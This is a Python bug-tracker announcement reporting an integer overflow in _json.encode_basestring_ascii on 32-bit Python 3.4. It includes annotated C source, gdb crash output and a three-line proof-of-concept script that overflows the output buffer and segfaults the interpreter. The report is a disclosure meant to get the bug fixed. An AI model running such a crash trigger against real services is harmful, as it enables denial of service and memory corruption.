[New-bugs-announce] [issue23369] integer overflow in _json.encode_basestring_ascii

[paul]

New submission from paul:

# static PyObject *
# ascii_escape_unicode(PyObject *pystr)
# {
#     ...
# 
#     input_chars = PyUnicode_GET_LENGTH(pystr);
#     input = PyUnicode_DATA(pystr);
#     kind = PyUnicode_KIND(pystr);
# 
#     /* Compute the output size */
#     for (i = 0, output_size = 2; i < input_chars; i++) {
#         Py_UCS4 c = PyUnicode_READ(kind, input, i);
#         if (S_CHAR(c))
#             output_size++;
#         else {
#             switch(c) {
#             ...
#             default:
# 1               output_size += c >= 0x10000 ? 12 : 6;
#     ...
# 
# 2   rval = PyUnicode_New(output_size, 127);
# 
# 1. if c is \uFFFF then output_size += 6. There are no overflow checks on this 
#    variable, so we can overflow it with a sufficiently long (2**32/6+1 chars) 
#    string
# 2. rval buffer is too small to hold the result
# 
# Crash:
# ------
#  
# Breakpoint 3, ascii_escape_unicode (pystr='...') at /home/p/Python-3.4.1/Modules/_json.c:198
# 198         rval = PyUnicode_New(output_size, 127);
# (gdb) print output_size
# $9 = 4
# (gdb) c
# Continuing.
#  
# Program received signal SIGSEGV, Segmentation fault.
# 0x4057888f in ascii_escape_unichar (c=65535,
#     output=0x40572358 "...",
#     chars=19624) at /home/p/Python-3.4.1/Modules/_json.c:155
# 155                 output[chars++] = Py_hexdigits[(c >>  8) & 0xf];
# 
# OS info
# -------
# 
# % ./python -V
# Python 3.4.1
#  
# % uname -a
# Linux ubuntu 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed Aug 14 15:31:16 UTC 2013 i686 i686 i386 GNU/Linux
#  
 
from _json import encode_basestring_ascii as enc
s="\uffff"*int((2**32)/6+1)
enc(s)

----------
files: poc_ascii_escape.py
messages: 235177
nosy: pkt
priority: normal
severity: normal
status: open
title: integer overflow in _json.encode_basestring_ascii
type: crash
versions: Python 3.4
Added file: http://bugs.python.org/file37968/poc_ascii_escape.py

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Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23369>
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